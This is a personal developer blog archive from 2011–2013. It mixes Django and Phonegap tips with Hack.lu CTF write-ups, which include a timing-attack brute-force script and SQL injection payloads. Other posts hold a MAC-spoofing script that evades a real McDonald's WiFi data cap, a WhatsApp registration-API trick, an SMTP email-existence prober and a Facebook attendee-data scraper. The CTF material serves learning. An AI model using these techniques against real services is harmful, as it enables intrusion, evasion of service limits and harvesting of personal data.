Hi, I'm Lukas, a student and developer from the Ruhr Area in Germany. You can also find me on Twitter and LinkedIn. This is my blog.

Oct 24, 2013

Hack.lu CTF 2013: Challenge 4 "Pay TV" (web)

Who doesn't want to hack Pay TV? :) So do I. The challenge was a nice website with a tv on it that showed static and a form that requested a password. A quick analysis of the JS revealed the following interesting line:

xhr.send('key=' + encodeURIComponent(key)/* + '&debug'*/)

The interesting part is the &debug parameter.

A

lukas@Lukass-MacBook-Pro paytv  $ curl 'https://ctf.fluxfingers.net:1316/gimmetv' -H 'Content-Type: application/x-www-form-urlencoded' --data 'key=123456&debug'

gave me an interesting response of

{"start": 1382526729.725971, "end": 1382526729.726004, "response": "Wrong key.", "success": false}

As you can see, it returns the "computational time" of the algorithm. Hm? Timing attack? Yup. As it turns out, a (partially) correct code takes significantly longer than others. The obvious result was the following Python script:

import requests


class KeyFound(Exception):
    pass


def get_timing_for_key(key):
    data = {
            'key': key,
            'debug': ''
    }
    headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
    }
    r = requests.post(
            'https://ctf.fluxfingers.net:1316/gimmetv',
            headers=headers,
            data=data,
            verify=False)
    j = r.json()
    if j.get('success'):
        raise KeyFound(key)
    start = j.get('start')
    end = j.get('end')
    t = end - start
    return t

def find_key(chars=''):
    chars = chars + '%s'
    timings = {}
    for i in range(10):
        timings[chars % i] = get_timing_for_key(chars % i)
    for i in range(65, 91):
        timings[chars % chr(i)] = get_timing_for_key(chars % chr(i))
    for i in range(96, 123):
        timings[chars % chr(i)] = get_timing_for_key(chars % chr(i))

    timings = sorted(timings, key=timings.get, reverse=True)
    print 'Found partial key: %s' % timings[0]
    find_key(timings[0])


if __name__ == '__main__':
    try:
        find_key()
    except KeyFound as key:
        print 'Found key: %s' % key

which yields

(hackluctf13)lukas@Lukass-MacBook-Pro paytv  $ python paytv.py
Found partial key: A
Found partial key: AX
Found partial key: AXM
Found partial key: AXMN
Found partial key: AXMNP
Found partial key: AXMNP9
Found key: AXMNP93

Type that code into the form and you get the flag on the tv :)

Hack.lu CTF 2013: Challenge 7 "Robots Exclusion Committee" (web)

The challenge was to find the first secret from a given webpage. The problem was that there was only a form that didn't really work (it was meant to send you an email with login credentials).

Since this was apparently not doing anything I didn't spend too much time on it and went on and tried to find the login URL. Where could you probalby find it? Well, since the theme of the site was robots, my first guess was the robots.txt and there was it:

# Keep em' away User-agent: * Disallow: /vault

/vault gave me a

WWW-Authenticate: Basic realm="Controller"

Obvious combinations like admin/password didn't work ;) so I tried something else. From my previous experience I remembered that some security-aware admins configured their server with

<Limit GET POST>

, so the next thing I tried was a GETS to the url. Unfortunately the allowed methods were only GET, HEAD and OPTIONS.

Finally, Endres found out that it was vulnerable to SQL injections. Who would've known :)

The first obvious step was to login as admin with ' OR ''='. Unfortunately, the only secret shown was #2. Bummer. The good thing though was that the site displayed the username of the 'logged in' user. Apparently they were showing the value of row 1 in column 1, so we had a nice information disclosure vector. A quick lookup of the users table showed us that there were 3 other users, but they showed the same secret. Trying to access INFORMATION_SCHEMA yielded in errors, so we became suspicious if MySQL was used at all. Our next guess was SQLite, and there we go,

' UNION SELECT tbl_name FROM sqlite_master WHERE tbl_name LIKE '%secret%'; --

showed us the table name of hiddensecrets.

What could be the scheme of the table?

' UNION SELECT sql FROM sqlite_master WHERE tbl_name='hiddensecrets'; --

yielded in

CREATE TABLE hiddensecrets (id INTEGER PRIMARY KEY AUTOINCREMENT, val TEXT)

and a quick query for id 1 gave us the base64-encoded captcha-like image which contained the flag :)

Aug 2, 2013

Check if IP is in CIDR subnet

Sometimes, you need to check if an IP address is in a specific subnet. E.g., when writing a GitHub webhook endpoint, you want to check that the originating IP is one of GitHub's. There's an API call you can make to get the list of subnets hook calls can originate from:

$ curl -i https://api.github.com/meta
HTTP/1.1 200 OK
Server: GitHub.com
Date: Fri, 02 Aug 2013 10:31:02 GMT
Content-Type: application/json; charset=utf-8
Status: 200 OK
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
X-RateLimit-Reset: 1375443051
X-GitHub-Media-Type: github.beta
X-Content-Type-Options: nosniff
Content-Length: 131
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes
Access-Control-Allow-Origin: *
ETag: "1ab8320a67d3ebed78b1999c824222c9"
Cache-Control: max-age=0, private, must-revalidate
Vary: Accept-Encoding

{
  "hooks": [
    "204.232.175.64/27",
    "192.30.252.0/22"
  ],
  "git": [
    "207.97.227.239/32",
    "192.30.252.0/22"
  ]
}

So, the two subnets are, in CIDR format,

"204.232.175.64/27",
"192.30.252.0/22"

But how do you check these in a Django view? First, let me show you a trick how you can get the IP address in Django:

def get_client_ip(request):
    x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
    if x_forwarded_for:
        ip = x_forwarded_for.split(',')[0]
    else:
        ip = request.META.get('REMOTE_ADDR')
    return ip

This will not only check the request.META REMOTE_ADDR, but also parse HTTP_X_FORWARDED_FOR headers. You will get something like

87.188.16.49

To check this against a subnet, you first have to understand how the CIDR format works. IPs are 32 bits, i.e. 4 bytes. Above you see the normal human-readable notation. If you express the 4 bytes in binary, you get

01010111101111000001000000110001

I wrote two Python functions to easily convert IP(v4)s from the human-readable format to bits. First a function to convert a byte to bits (and pad it with 0s to get 8 bits):

byte_to_bits = lambda b: bin(int(b))[2:].rjust(8, '0')

and another function that splits an IP by the dots and converts the single bytes:

ip_to_bits = lambda ip: ''.join([byte_to_bits(b) for b in ip.split('.')])

Back to how CIDR works: You might have noticed the / in the GitHub IPs. This tells us the size of the subnet in bits. If you have a /8 subnet, that means that the first 8 bits define the subnet, e.g. 17.0.0.0/8 could be anything from 17.0.0.0 to 17.255.255.255 (this was once called a class-a subnet and is owned by Apple).

In result, in order to check if an IP is inside GitHub's 204.232.175.64/27, we have to check if the first 27 bits of the originating IP address match those of 204.232.175.64. Since we already have the functions to convert IPs to bits, all we have to do now is to plug everything together:

from django.conf import settings

def get_client_ip(request):
    x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
    if x_forwarded_for:
        ip = x_forwarded_for.split(',')[0]
    else:
        ip = request.META.get('REMOTE_ADDR')
    return ip


def test_ip_in_range(request):
    client_ip = get_client_ip(request)
    byte_to_bits = lambda b: bin(int(b))[2:].rjust(8, '0')
    ip_to_bits = lambda ip: ''.join([byte_to_bits(b) for b in ip.split('.')])
    client_ip_bits = ip_to_bits(client_ip)
    for net in settings.GITHUB_WEBHOOK_IPS:
        ip, snet = net.split('/')
        ip_bits = ip_to_bits(ip)
        if client_ip_bits[:int(snet)] == ip_bits[:int(snet)]:
            return True
    return False

And don't forget to set GITHUB_WEBHOOK_URLS in your settings.py:

GITHUB_WEBHOOK_IPS = ['204.232.175.64/27', '192.30.252.0/22', ]

This is probably far from perfect and lacks support for IPv6, but it works and gives you an idea of how the internet protocol works.

Oct 26, 2012

Changing request.POST values in Django

When you try to change request.POST in a Django view it will raise a QueryDict instance is immutable exception. In order to change/add values you have to create a shallow copy instead of a binding.

def index(request):
    if request.method == 'POST':
        post_mutable = request.post.copy()
        # Now you can change values:
        post_mutable['answer'] = 42

Jun 20, 2012

Setting a custom iOS WhatsApp password

I'm currently developing on the WhatsAPI, but there's one problem when you're using an iPhone: no one has figured out yet how your password is being generated. On Android devices it's just the md5 hash of the reverse of the IMEI number of your phone, but neither this nor all possible hash-combinations of the iPhone's UDID did word. So I did some network sniffing and figured out how a device is being registered and how you can use this to manually reset your WhatsApp password.

To register a device WhatsApp first sends an API request to their servers requesting a validation code which you will either get by txt or via a call. This request looks like:

https://r.whatsapp.net/v1/code.php?cc=49&in=1234567890&to=00491234567890&lc=DE&lg=de&mcc=000&mnc=000&imsi=00000000000000&method=sms

where cc is the area code without leading zeros, in is the number without country code and to is the number the sms should go to (It didn't work for me if this was different from the one you're trying to register). The other stuff is irrelevant (language code, don't know if/how this changes things since the txt you'll get isn't really localized) and some other parameters you can just set to 0.

After receiving the code you have to push out another request that is doing the registration itself. This is the part where you can set your own password. As I mentioned below WhatsApp uses some md5 hashes for the passwords so to not draw attention you should do the same:

https://r.whatsapp.net/v1/register.php?cc=49&in=12345678900&udid=05c12a287334386c94131ab8aa00d08a&code=123

Where the cc and in are the same as previously, udid is your custom password you want to use and code is the code you just received.

From now on you can use your custom WhatsApp password. Be aware that this method will log you out from your iPhone, you still will get push notifications but when you open WhatsApp you will be asked to activate your device. (And, if you do so, your password will be reset again).

To make your life even easier I've written two little and very dirty Python functions since you need a custom user agent (I'm using the Nokia one):

import urllib2

# number with 00 and countrycode, e.g. 00491234567890
def get_new_code(number):
    uagent = "WhatsApp/2.6.10 S40Version/04.60 Device/nokiac3-00"
    url = "https://r.whatsapp.net/v1/code.php?cc=%s&in=%s&to=%s&lc=DE&lg=de&mcc=000&mnc=000&imsi=00000000000000&method=sms"%(number[2:][:2], number[4:], number)
    opener = urllib2.build_opener(urllib2.HTTPRedirectHandler())
    opener.addheaders = [('User-agent', uagent)]
    connection = opener.open(url)
    response = connection.read()
    connection.close()
    print response

# number with 00 and countrycode like above
# password should be a 32 character md5 lookalike to not draw attention
# code is the 3 digit code you got in your txt
def register_number_with_password(number, password, code):
    url = "https://r.whatsapp.net/v1/register.php?cc=%s&in=%s&udid=%s&code=%s"%(number[2:][:2], number[4:], password, code)
    opener = urllib2.build_opener(urllib2.HTTPRedirectHandler())
    opener.addheaders = [('User-agent', uagent)]
    connection = opener.open(url)
    response = connection.read()
    connection.close()
    print response

Nov 9, 2011

Checking if an email address exists

Today I was faced with an interesting question: How can you tell if an email-address exists? Yep, not if it's valid (that's easy with some regexp-magic), but if it actually exists. I came up with a simple Python-solution.

What if we want to check, if, for example, somefoobarstuff@gmail.com, exists? It's a valid email address, but it obviously doesn't belong to any account. My solution uses SMTP, the protocol that is used to send emails.

At first we have to find the MX-record of the domain - it tells you what mail server you have to use. I'm using the Python DNS Library to get the actual records and smtplib to try to establish a connection.

I'm maybe a bit lazy, but instead of reading all the smtplib documentation I decided to implement the SMTP protocol on my own. We basically only need to go as far as to the RCPT TO command, to which the server replies with an 550 error if the recipient does not exist.

I'm maybe bad at describing things, but I hope you can find my code helpful for whatever you're planning. But please be nice and don't use it for spamming :)

import DNS, smtplib, socket

def checkmail(mail):
        DNS.DiscoverNameServers()
        print "checking %s..."%(mail)
        hostname = mail[mail.find('@')+1:]
        mx_hosts = DNS.mxlookup(hostname)
        failed_mx = True
        for mx in mx_hosts:
                smtp = smtplib.SMTP()
                try:
                        smtp.connect(mx[1])
                        print "Stage 1 (MX lookup & connect) successful."
                        failed_mx = False
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((mx[1], 25))
                        s.recv(1024)
                        s.send("HELO %s\n"%(mx[1]))
                        s.recv(1024)
                        s.send("MAIL FROM:< test@test.com>\n")
                        s.recv(1024)
                        s.send("RCPT TO:<%s>\n"%(mail))
                        result = s.recv(1024)
                        print result
                        if result.find('Recipient address rejected') > 0:
                                print "Failed at stage 2 (recipient does not exist)"
                        else:
                                print "Adress valid."
                                failed_mx = False
                        s.send("QUIT\n")
                        break
                except smtplib.SMTPConnectError:
                        continue
        if failed_mx:
                print "Failed at stage 1 (MX lookup & connect)."
        print ""
        if not failed_mx:
                return True
        return False

Oct 19, 2011

Is the Apple Store back online?

Wow, the Apple store is down! Well, it's Tuesday afternoon here in New Zealand and no one really expects anything more than, say, maintenance. But anyway, I caught myself reloading the page every few seconds. Hm, there has to be an easier way.

It is :)

#!/usr/bin/env python
import urllib, time, os

storeurl = 'http://store.apple.com/'
needle = 'http://images.apple.com/r/store/backsoon/title_backsoon1.gif'

def check_online():
        f = urllib.urlopen(storeurl)
        if needle in f:
                success = 'Yey, the Apple store is back online! Go check the new stuff!'
                print success
                os.system('say "%s"'%(success))
                exit()
        else:
                print 'Still offline. :('
        f.close()

while True:
        check_online()
        time.sleep(10)

Sep 27, 2011

Mc Donalds WiFi, surrender!

Ever since I'm here in New Zealand I've been using the free WiFi at every Mc Donalds. Great! Free WiFi! =)

But wait, what's the catch? Well, it's limited to 50MB data per day. Uhm. Sounds like a challenge, doesn't it? ;)

So, how does this work? They're probably identifying you by your Mac address. To test this I used all my data allocation, changed my Mac address via:

sudo ifconfig en0 ether <yournewrandomaddress>

and ta-da, another 50MB! But wouldn't it be great to automate this process? It is! (Note: I'm on a Mac, but for your Linux computer it should work similar, if you proofed it please leave a comment below :))

What the script needs to do is:

  1. Set a new Mac address
  2. Disconnect from the WiFi
  3. Reconnect
  4. Sounds like a challenge? Well, not really.
rootpass = getpass.getpass()
interface = 'en0'
def setMAC(mac):
        os.system("echo '%s' | sudo -S -s ifconfig %s ether %s"%(rootpass, interface, mac))

def disconnect():
        os.system("networksetup -setairportpower %s off"%(interface))

def connect():
        os.system("networksetup -setairportpower %s on"%(interface))

To generate a random Mac address I use the following function:

def randomMAC():
        mac = [ 0x00, 0x16, 0x3e,
                random.randint(0x00, 0x7f),
                random.randint(0x00, 0xff),
                random.randint(0x00, 0xff) ]
        return ':'.join(map(lambda x: "%02x" % x, mac))

Alright, so now we got everything we need to reconnect to the WiFi. But wait, what about this fancy login-page, where you have to confirm the ToS before you can use the internet? In fact, that was more like a challenge. Let's fire up Wireshark and try to connect to google.com. What happens: You'll be redirected to a perlscript on a local server:

http://192.168.59.35/login.pl?action=which_interface&destination;=http://www.google.com/%3f

What's next? Believe it or not, but what follows is another redirect.:

http://login1.maccasfreewifi.net.nz/login.php?controller=192.168.59.35&source;=192.168.38.131&destination;=http%3A%2F%2Fwww.google.com%2F%3F≈_name=&ssid;=≈=&mac;=00%3A16%3A3e%3A7e%3Ab1%3A7f

This is finally the loginpage you get to see in your browser. It contains a form with some fancy hidden inputs like

<input type="hidden" name="bs_password" value="bigmac" />

McDonalds? I love you for that! :D

In fact there are these fields:

  • bs_name
  • bs_password
  • username1
  • password1
  • which_form
  • destination
  • agree (a checkbox)

Now we could just hardcode all the parameters into our script or we could do it the fun way:

f = urllib2.urlopen(loginurl)
html = f.read()
for line in html.split("\n"):
        if line.find('bs_name') > -1:
                bs_name = line[line.find('ue="')+4:line.find('">')]
        elif line.find('bs_password') > -1:
                bs_password = line[line.find('ue="')+4:line.find('">')]
        elif line.find('username1') > -1:
                username1 = line[line.find('ue="')+4:line.find('">')]
        elif line.find('password1') > -1:
                password1 = line[line.find('ue="')+4:line.find('">')]
        elif line.find('which_form') > -1:
                which_form = line[line.find('ue="')+4:line.find('">')]
        elif line.find('destination') > -1:
                destination  = urllib.quote(line[line.find('ue="')+4:line.find('">')])
        elif line.find('method="POST"') > -1:
                action = line[line.find('on="')+4:line.find('"" acc')]
data = "bs_name=%s&bs;_password=%s&username1;=%s&password1;=%s&which;_form=%s&destination;=%s&agree;=1&submitButton;=&submitButton.x;=1&submitButton.y;=2"%(bs_name, bs_password, username1, password1, which_form, urllib.quote_plus(testurl))
req = urllib2.Request(url=action, data=data)
o = urlparse(loginurl)
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
req.add_header('Origin', "%s://%s"%(o.scheme, o.netloc))
req.add_header('Referer', loginurl)
req.add_header('User-Agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1')
f = urllib2.urlopen(req)

Now we can put it all together into one simple script that checks periodically whether the connection is still alive and if not, automagically reconnects us:

import random, os, urllib, urllib2, time, getpass
from urlparse import urlparse

rootpass = getpass.getpass()
interface = "en0"
testurl = "http://www.google.com/robots.txt"
stringtotest = "User-agent: *"

def randomMAC():
        mac = [ 0x00, 0x16, 0x3e,
                random.randint(0x00, 0x7f),
                random.randint(0x00, 0xff),
                random.randint(0x00, 0xff) ]
        return ':'.join(map(lambda x: "%02x" % x, mac))

def setMAC(mac):
        os.system("echo '%s' | sudo -S -s ifconfig en0 ether %s"%(rootpass, mac))

def disconnect():
        os.system("networksetup -setairportpower %s off"%(interface))

def connect():
        os.system("networksetup -setairportpower %s on"%(interface))

def testconnection():
        f = urllib2.urlopen(testurl)
        return stringtotest==f.read(len(stringtotest))

def login():
        print "Logging in..."
        # first stage
        request = urllib2.Request(testurl)
        opener = urllib2.build_opener()
        f = opener.open(request)
        newurl = f.url
        request = urllib2.Request(newurl)
        f = opener.open(request)
        loginurl = f.url

        f = urllib2.urlopen(loginurl)
        html = f.read()
        for line in html.split("\n"):
                if line.find('bs_name') > -1:
                        bs_name = line[line.find('ue="')+4:line.find('">')]
                elif line.find('bs_password') > -1:
                        bs_password = line[line.find('ue="')+4:line.find('">')]
                elif line.find('username1') > -1:
                        username1 = line[line.find('ue="')+4:line.find('">')]
                elif line.find('password1') > -1:
                        password1 = line[line.find('ue="')+4:line.find('">')]
                elif line.find('which_form') > -1:
                        which_form = line[line.find('ue="')+4:line.find('">')]
                elif line.find('destination') > -1:
                        destination  = urllib.quote(line[line.find('ue="')+4:line.find('">')])
                elif line.find('method="POST"') > -1:
                        action = line[line.find('on="')+4:line.find('"" acc')]
        data = "bs_name=%s&bs;_password=%s&username1;=%s&password1;=%s&which;_form=%s&destination;=%s&agree;=1&submitButton;=&submitButton.x;=1&submitButton.y;=2"%(bs_name, bs_password, username1, password1, which_form, urllib.quote_plus(testurl))
        req = urllib2.Request(url=action, data=data)
        o = urlparse(loginurl)
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        req.add_header('Origin', "%s://%s"%(o.scheme, o.netloc))
        req.add_header('Referer', loginurl)
        req.add_header('User-Agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1')
        f = urllib2.urlopen(req)
        print "Success! :)"


def reconnect():
        setMAC(randomMAC())
        disconnect()
        connect()

if __name__ == "__main__":
        while 1:
                if not testconnection():
                        print "data exceeded, reconnecting..."
                        reconnect()
                        time.sleep(10)
                        login()

                time.sleep(1)

It's not perfect, but at least it works! :)

Aug 19, 2011

Check whether your iDevice has a camera built in in Phonegap

Earlier this week I discovered Phonegap when I got a beta-invite to their new build-service. To those who never heard of Phonegap before: It's:

an HTML5 app platform that allows you to author native applications with web technologies and get access to APIs and app stores

One of the awesome things about Phonegap is the extensibility with plugins caused by the nature of open source. Even though the built-in features of Phonegap already are very well-engineered, there are some cases in which you have to write your own plugin in order to achieve the functionality you want.

For example, the camera-API doesn't offer the ability to check, whether the device contains a camera. In a project I'm currently working on the user can take a picture, but what if he's using an older iPod touch or an iPad 1? In this case I'd like to hide the "Take a picture" button and instead only display a "Choose from library" button, as you probably know it from other iOS apps.

It's very easy to test this in Objective-C:

bool hascamera = [UIImagePickerController isSourceTypeAvailable:UIImagePickerControllerSourceTypeCamera];

But it's some extra effort to make this available in Phonegap. I'll be posting the .h and .m files, which you have to put inside your Plugins-directory and the .js file which you'll be importing in your HTML-page (therefore you have to put it in the www-directory). For more information on how to install plugins in Phonegap for iOS, see http://wiki.phonegap.com/w/page/43708792/How%20to%20Install%20a%20PhoneGap%20Plugin%20for%20iOS

Here's a quick demo of how to use it:

window.plugins.CameraAvailable.hasCamera(function(result) {
        if(result.available) {
                var buttons = ["Take Photo", "Choose From Library", "Cancel"];
        } else {
                var buttons = ["Choose From Library", "Cancel"];
        }
});

CameraAvailable.h:

//
//  CameraAvailable.h
//
//
//  Created by Lukas Klein on 08-19-11.
//  MIT Licensed
//  Copyright (c) Lukas Klein

#import <foundation foundation.h="">
#ifdef PHONEGAP_FRAMEWORK
#import <phonegap pgplugin.h="">
#else
#import "PGPlugin.h"
#endif

@interface CameraAvailable : PGPlugin { }

- (void)hasCamera:(NSArray*)arguments withDict:(NSDictionary*)options;

@end

CameraAvailable.m:

//
//  CameraAvailable.m
//
//
//  Created by Lukas Klein on 08-19-11.
//  MIT Licensed
//  Copyright (c) 2011 Lukas Klein

#import "CameraAvailable.h"

@interface CameraAvailable (Private)
-(void) callbackWithFuntion:(NSString *)function withData:(NSString *)value;
@end

@implementation CameraAvailable

- (void)hasCamera:(NSArray*)arguments withDict:(NSDictionary*)options
{
NSUInteger argc = [arguments count];

if (argc < 1) {
return;
}
bool hascamera = [UIImagePickerController isSourceTypeAvailable:UIImagePickerControllerSourceTypeCamera];

NSString *callBackFunction = [arguments objectAtIndex:0];
[self callbackWithFuntion:callBackFunction withData:[NSString stringWithFormat:@"{available: %@}", (hascamera ? @"true" : @"false")]];
}

-(void) callbackWithFuntion:(NSString *)function withData:(NSString *)value{
if (!function || [@"" isEqualToString:function]){
return;
}

NSString* jsCallBack = [NSString stringWithFormat:@"%@(%@);", function, value];
[self writeJavascript: jsCallBack];
}

@end

CameraAvailable.js:

//
//  CameraAvailable.js
//
//
//  Created by Lukas Klein on 08-19-11.
//  MIT Licensed
//  Copyright (c) Lukas Klein

function CameraAvailable() {};

CameraAvailable.prototype.hasCamera = function(result)
{
return PhoneGap.exec("CameraAvailable.hasCamera", GetFunctionName(result));
}

PhoneGap.addConstructor(function()
{
if(!window.plugins)
{
window.plugins = {};
}
window.plugins.CameraAvailable = new CameraAvailable();
});

Mar 15, 2011

Gathering information about your Facebook-event-attendees

We're currently in the planning phase for our next "Vorabifeier" (we're celebrating our future Abitur) and we created a Facebook-event-page to keep track of the expected guests. The reactions were huge, so we thought "Hey, couldn't we use this system to collect some information about the attendees?".

With Facebook, the data kraken no. 1, this shouldn't be such a big problem. Indeed, there's this nice Graph API, so I started hacking a tiny Python-script which first gets the list of the people attending our event, then gathers some information about each of this persons and finally does some crazy stuff with it (well, it could do some crazy stuff, in this example it only counts the people of full age).

Maybe you could make use of it.

So, here it is:

#!/usr/bin/env python

"""
Facebook-Event-Stalking-Tool
"""

import urllib2, json, re
from types import NoneType

access_token = "your facebook access token"
event_id = "your event id"
target_date = (4, 8, 2011) # the date (well, we actually could get this one from the event itself, but I thought it would be nice to be a bit more flexible)
target_age = 18

attendees_older = 0
attendees_younger = 0

event = urllib2.urlopen("https://graph.facebook.com/%s/attending?access_token=%s"%(event_id, access_token))#
attendees_list = event.read()
attendees_json = json.loads(attendees_list)
total = len(attendees_json['data'])
for attendee in attendees_json['data']:
        id = attendee['id']
        user = urllib2.urlopen("https://graph.facebook.com/%s?access_token=%s"%(id, access_token))
        user_ = user.read()
        user_json = json.loads(user_)
        birthday = user_json.get('birthday', '')
        birthday_bam = re.search('([0-9]{2})\/([0-9]{2})\/([0-9]{4})', birthday)
        old_enough = False
        if type(birthday_bam) != NoneType:
                birthday_bam = birthday_bam.groups(0)
                month = birthday_bam[0]
                day = birthday_bam[1]
                year = birthday_bam[2]
                old_enough = False
                if target_date[2]-target_age >= year:
                        if target_date[1] < month:
                                old_enough = True
                        else:
                                if target_date[1] == month:
                                        if target_date[0] <= day:
                                                old_enough = True
                else:
                        old_enough = True
                if old_enough:
                        attendees_older += 1
                else:
                        attendees_younger += 1
        print "older: %d - younger: %d - to go: %d"%(attendees_older, attendees_younger, total)
        total -= 1